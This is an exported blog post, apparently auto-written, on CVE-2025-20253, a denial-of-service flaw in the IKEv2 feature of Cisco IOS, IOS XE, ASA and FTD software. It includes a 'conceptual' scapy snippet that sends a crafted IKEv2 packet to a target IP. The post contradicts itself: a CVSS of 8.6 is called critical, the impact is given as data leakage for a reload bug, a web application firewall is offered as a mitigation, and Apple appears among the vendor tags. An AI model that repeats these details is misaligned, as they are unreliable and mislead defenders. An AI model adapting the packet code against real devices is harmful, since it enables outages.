{"id":64277,"date":"2025-08-24T02:11:51","date_gmt":"2025-08-24T02:11:51","guid":{"rendered":""},"modified":"2025-08-31T18:37:27","modified_gmt":"2025-09-01T00:37:27","slug":"cve-2025-20253-critical-vulnerability-in-ikev2-feature-of-cisco-software-could-lead-to-denial-of-service-dos-attack","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-20253-critical-vulnerability-in-ikev2-feature-of-cisco-software-could-lead-to-denial-of-service-dos-attack\/","title":{"rendered":"CVE-2025-20253: Critical Vulnerability in IKEv2 Feature of Cisco Software Could Lead to Denial of Service (DoS) Attack<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the evolving landscape of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially put systems and data at risk. This blog post focuses on CVE-2025-20253, a recently disclosed vulnerability in the Internet Key Exchange version 2 (IKEv2) feature of several Cisco software products. This vulnerability, if exploited, could allow an unauthenticated, remote attacker to cause a device to reload, resulting in a Denial of Service<\/a> (DoS) condition. Given the wide usage of Cisco’s software in industries across the globe, this vulnerability presents a significant risk and could potentially disrupt critical<\/a> services and operations.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-20253
\nSeverity: Critical (CVSS Score: 8.6)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise and\/or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Cisco IOS Software<\/a> | Unspecified
\nCisco IOS XE Software<\/a> | Unspecified
\nSecure Firewall ASA<\/a> Software | Unspecified
\nSecure FTD Software | Unspecified<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises due<\/a> to the improper processing of IKEv2 packets by the affected software. An attacker could exploit this vulnerability by sending specially crafted IKEv2 packets<\/a> to an affected device. Upon receipt of these packets, the system could enter into an infinite loop, rapidly exhausting system resources. This would eventually lead to a system<\/a> reboot, effectively causing a Denial of Service.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here is a conceptual example of how an attacker might craft a malicious IKEv2 packet to exploit this vulnerability<\/a>. Please note that this is a hypothetical example and does not represent actual exploit code.<\/p>\n

from scapy.all import *\n# Define the source and destination IP addresses\nsrc_ip = \"attacker_IP\"\ndst_ip = \"target_IP\"\n# Create an IP packet with the defined source and destination IPs\nip = IP(src=src_ip, dst=dst_ip)\n# Create a malformed IKEv2 packet\nikev2 = IKEv2(init_SPI=b'1234567890123456', exch_type=34, flags='Response')\n# Send the crafted packet\nsend(ip\/UDP(sport=500, dport=500)\/ikev2)<\/code><\/pre>\n
In this example, the `exch_type=34` and `flags=’Response’` parameters are used to create a malformed IKEv2 packet, triggering the vulnerability and causing a system<\/a> reload.
\nIt is crucial to note that this vulnerability can be mitigated by applying vendor patches or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary solution. As always, it’s recommended to apply patches promptly to ensure protection against such exploits.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the evolving landscape of cybersecurity, it is essential to stay updated with the latest vulnerabilities that could potentially put systems and data at risk. This blog post focuses on CVE-2025-20253, a recently disclosed vulnerability in the Internet Key Exchange version 2 (IKEv2) feature of several Cisco software products. This vulnerability, if exploited, could […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[77,96],"product":[97],"attack_vector":[87],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64277","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-apple","vendor-cisco","product-cisco-ios-xe","attack_vector-dos"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t